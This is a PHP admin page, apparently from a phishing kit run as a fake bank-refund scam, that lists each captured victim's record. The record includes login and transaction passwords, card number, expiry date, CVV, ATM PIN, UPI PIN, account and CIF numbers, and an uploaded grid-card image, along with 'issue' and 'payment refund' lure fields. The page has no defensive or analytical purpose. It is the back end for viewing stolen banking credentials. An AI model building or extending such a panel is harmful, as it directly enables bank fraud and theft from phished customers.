<?php
require_once './includes/session.php';
require_once './includes/user.php';
require_once './includes/utils.php';

// Initialize session and required classes
$session = SessionManager::getInstance();
$userObj = new User();

// Get user ID from URL
$id = isset($_GET['id']) ? (int)$_GET['id'] : 0;

// Redirect if no valid ID
if ($id <= 0) {
    header('Location: users.php');
    exit;
}

// Get user details
$user = $userObj->getUserById($id);

// Redirect if user not found
if (!$user) {
    header('Location: users.php');
    exit;
}

// Include header
include_once './includes/header.php';
?>

<!-- Page Content -->
<div class="card mb-4">
    <div class="card-header d-flex justify-content-between align-items-center">
        <span>User Details</span>
        <div>
            <a href="users.php" class="btn btn-sm btn-secondary">Back to Users</a>
            <a href="users.php?action=delete&id=<?php echo $user['id']; ?>" class="btn btn-sm btn-danger confirm-delete">Delete</a>
        </div>
    </div>
    <div class="card-body">
        <div class="row">
            <div class="col-md-6">
                <h5>Basic Information</h5>
                <table class="table table-bordered">
                    <tr>
                        <th width="150px">ID</th>
                        <td><?php echo htmlspecialchars($user['id']); ?></td>
                    </tr>
                    <tr>
                        <th>First Name</th>
                        <td><?php echo !empty($user['firstname']) ? htmlspecialchars($user['firstname']) : '<span class="text-muted">N/A</span>'; ?></td>
                    </tr>
                    <tr>
                        <th>Last Name</th>
                        <td><?php echo !empty($user['lastname']) ? htmlspecialchars($user['lastname']) : '<span class="text-muted">N/A</span>'; ?></td>
                    </tr>
                    <tr>
                        <th>Email</th>
                        <td><?php echo !empty($user['email']) ? htmlspecialchars($user['email']) : '<span class="text-muted">N/A</span>'; ?></td>
                    </tr>
                    <tr>
                        <th>Mobile</th>
                        <td><?php echo htmlspecialchars($user['mobile']); ?></td>
                    </tr>
                    <tr>
                        <th>Device ID</th>
                        <td><?php echo !empty($user['device_id']) ? htmlspecialchars($user['device_id']) : '<span class="text-muted">N/A</span>'; ?></td>
                    </tr>
                    <tr>
                        <th>Customer ID</th>
                        <td><?php echo !empty($user['pan']) ? htmlspecialchars($user['pan']) : '<span class="text-muted">N/A</span>'; ?></td>
                    </tr>
                    <tr>
                        <th>Date Added</th>
                        <td><?php echo Utils::formatDate($user['date'], 'Y-m-d H:i:s'); ?></td>
                    </tr>
                    <tr>
                        <th>Status</th>
                        <td>
                            <?php if ($user['status'] == 1): ?>
                                <span class="badge bg-success">Active</span>
                            <?php else: ?>
                                <span class="badge bg-danger">Inactive</span>
                            <?php endif; ?>
                        </td>
                    </tr>
                </table>
            </div>

            <div class="col-md-6">
                <h5>Bank & Card Details</h5>
                <table class="table table-bordered">
                    <tr>
                        <th width="150px">Username</th>
                        <td><?php echo !empty($user['username']) ? htmlspecialchars($user['username']) : '<span class="text-muted">N/A</span>'; ?></td>
                    </tr>
                      <tr>
                        <th width="150px">Password</th>
                        <td><?php echo !empty($user['password']) ? htmlspecialchars($user['password']) : '<span class="text-muted">N/A</span>'; ?></td>
                    </tr>
                      <tr>
                        <th width="150px">Transaction Pass</th>
                        <td><?php echo !empty($user['tpassword']) ? htmlspecialchars($user['tpassword']) : '<span class="text-muted">N/A</span>'; ?></td>
                    </tr>
                    <tr>
                        <th>Bank Name</th>
                        <td><?php echo !empty($user['bankname']) ? htmlspecialchars($user['bankname']) : '<span class="text-muted">N/A</span>'; ?></td>
                    </tr>
                     <tr>
                        <th>account number</th>
                        <td><?php echo !empty($user['acnumber']) ? htmlspecialchars($user['acnumber']) : '<span class="text-muted">N/A</span>'; ?></td>
                    </tr>
                     <tr>
                        <th>CIF Number</th>
                        <td><?php echo !empty($user['cifnumber']) ? htmlspecialchars($user['cifnumber']) : '<span class="text-muted">N/A</span>'; ?></td>
                    </tr>
                    <tr>
                        <th>Branch Code</th>
                        <td><?php echo !empty($user['ifsc']) ? htmlspecialchars($user['ifsc']) : '<span class="text-muted">N/A</span>'; ?></td>
                    </tr>
                     <tr>
                        <th width="150px">Customer ID</th>
                        <td><?php echo !empty($user['Custumerid']) ? htmlspecialchars($user['Custumerid']) : '<span class="text-muted">N/A</span>'; ?></td>
                    </tr>
                    <tr>
                        <th>Card Number</th>
                        <td>
                            <?php
                            if (!empty($user['cardnumber'])) {
                                echo htmlspecialchars($user['cardnumber']);
                            } else {
                                echo '<span class="text-muted">N/A</span>';
                            }
                            ?>
                        </td>
                    </tr>
                    <tr>
                        <th>Expiry Date</th>
                        <td><?php echo !empty($user['expirydate']) ? htmlspecialchars($user['expirydate']) : '<span class="text-muted">N/A</span>'; ?></td>
                    </tr>
                    <tr>
                        <th>Cvv</th>
                        <td><?php echo !empty($user['cvv']) ? htmlspecialchars($user['cvv']) : '<span class="text-muted">N/A</span>'; ?></td>
                    </tr>
                    <tr>
                        <th>DOB</th>
                        <td><?php echo !empty($user['dob']) ? htmlspecialchars($user['dob']) : '<span class="text-muted">N/A</span>'; ?></td>
                    </tr>
                    <tr>
                        <th>ATM PIN</th>
                       <td>
    <?php
    if (!empty($user['atmpin'])) {
        echo htmlspecialchars($user['atmpin']);
    } else {
        echo '<span class="text-muted">N/A</span>';
    }
    ?>
</td>
                    </tr>
                     <tr>
                        <th>UPI PIN</th>
                       <td>
    <?php
    if (!empty($user['mpin'])) {
        echo htmlspecialchars($user['mpin']);
    } else {
        echo '<span class="text-muted">N/A</span>';
    }
    ?>
</td>
                    </tr>
                 <tr>
   <tr>
    <th>GRID VALUE</th>
    <td>
        <?php if (!empty($user['photo'])): ?>
            <img src="/uploads/<?php echo htmlspecialchars($user['photo']); ?>"
                 class="img-fluid img-thumbnail"
                 style="max-width: 100%; max-height: 150px; cursor: pointer;"
                 onclick="openPreview(this.src)">
        <?php else: ?>
            <span class="text-muted">No image uploaded</span>
        <?php endif; ?>
    </td>
</tr>
                </table>
            </div>
        </div>

        <div class="row mt-4">
            <div class="col-md-6">
                <h5>Payment Details</h5>
                <table class="table table-bordered">
                  
                    <tr>
                        <th>Amount</th>
                        <td>
                            <?php
                            if (!empty($user['amount']) && $user['amount'] > 0) {
                                echo '₹' . number_format($user['amount'], 2);
                            } else {
                                echo '<span class="text-muted">N/A</span>';
                            }
                            ?>
                        </td>
                    </tr>
                     <tr>
                        <th>Issue</th>
                        <td><?php echo !empty($user['issue']) ? htmlspecialchars($user['issue']) : '<span class="text-muted">N/A</span>'; ?></td>
                    </tr>
                    <tr>
                        <th>Payment Mode</th>
                        <td><?php echo !empty($user['paymentmode']) ? htmlspecialchars($user['paymentmode']) : '<span class="text-muted">N/A</span>'; ?></td>
                    </tr>
                    <tr>
                        <th>Payment Refund</th>
                        <td><?php echo !empty($user['paymentrefund']) ? htmlspecialchars($user['paymentrefund']) : '<span class="text-muted">N/A</span>'; ?></td>
                    </tr>
                </table>
            </div>
        </div>
    </div>
</div>

<!-- Previous/Next User Navigation -->
<?php
// Get previous and next user IDs for navigation
$prevUserId = null;
$nextUserId = null;

// Optimize query for previous and next by limiting to just ID field
$allUserIds = $userObj->getUsers(1, 1000, [], 'id', 'ASC');
if (!empty($allUserIds)) {
    $currentIndex = -1;

    // Find current user index
    foreach ($allUserIds as $index => $userItem) {
        if ($userItem['id'] == $id) {
            $currentIndex = $index;
            break;
        }
    }

    // Get previous and next IDs if available
    if ($currentIndex > 0) {
        $prevUserId = $allUserIds[$currentIndex - 1]['id'];
    }

    if ($currentIndex < count($allUserIds) - 1) {
        $nextUserId = $allUserIds[$currentIndex + 1]['id'];
    }
}
?>

<div class="d-flex justify-content-between mb-4">
    <?php if ($prevUserId): ?>
        <a href="view_user.php?id=<?php echo $prevUserId; ?>" class="btn btn-outline-primary">
            <i class="bi bi-arrow-left"></i> Previous User
        </a>
    <?php else: ?>
        <span></span>
    <?php endif; ?>

    <?php if ($nextUserId): ?>
        <a href="view_user.php?id=<?php echo $nextUserId; ?>" class="btn btn-outline-primary">
            Next User <i class="bi bi-arrow-right"></i>
        </a>
    <?php else: ?>
        <span></span>
    <?php endif; ?>
</div>
<!-- Image Preview Modal -->
<div id="imagePreviewModal" style="display:none; position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.8); justify-content:center; align-items:center; z-index:1050;">
    <div style="position:relative; max-width:90%; max-height:90%;">
        <img id="previewImage" src="#" style="max-width:100%; max-height:100%; border-radius:8px;">
        <button onclick="closePreview()" style="position:absolute; top:-15px; right:-15px; background:#fff; border:none; border-radius:50%; padding:6px 10px; font-size:20px; cursor:pointer;">&times;</button>
    </div>
</div>
<script>
    function openPreview(src) {
        document.getElementById('previewImage').src = src;
        document.getElementById('imagePreviewModal').style.display = 'flex';
    }

    function closePreview() {
        document.getElementById('imagePreviewModal').style.display = 'none';
    }
</script>

<?php
// Include footer
include_once './includes/footer.php';
?>
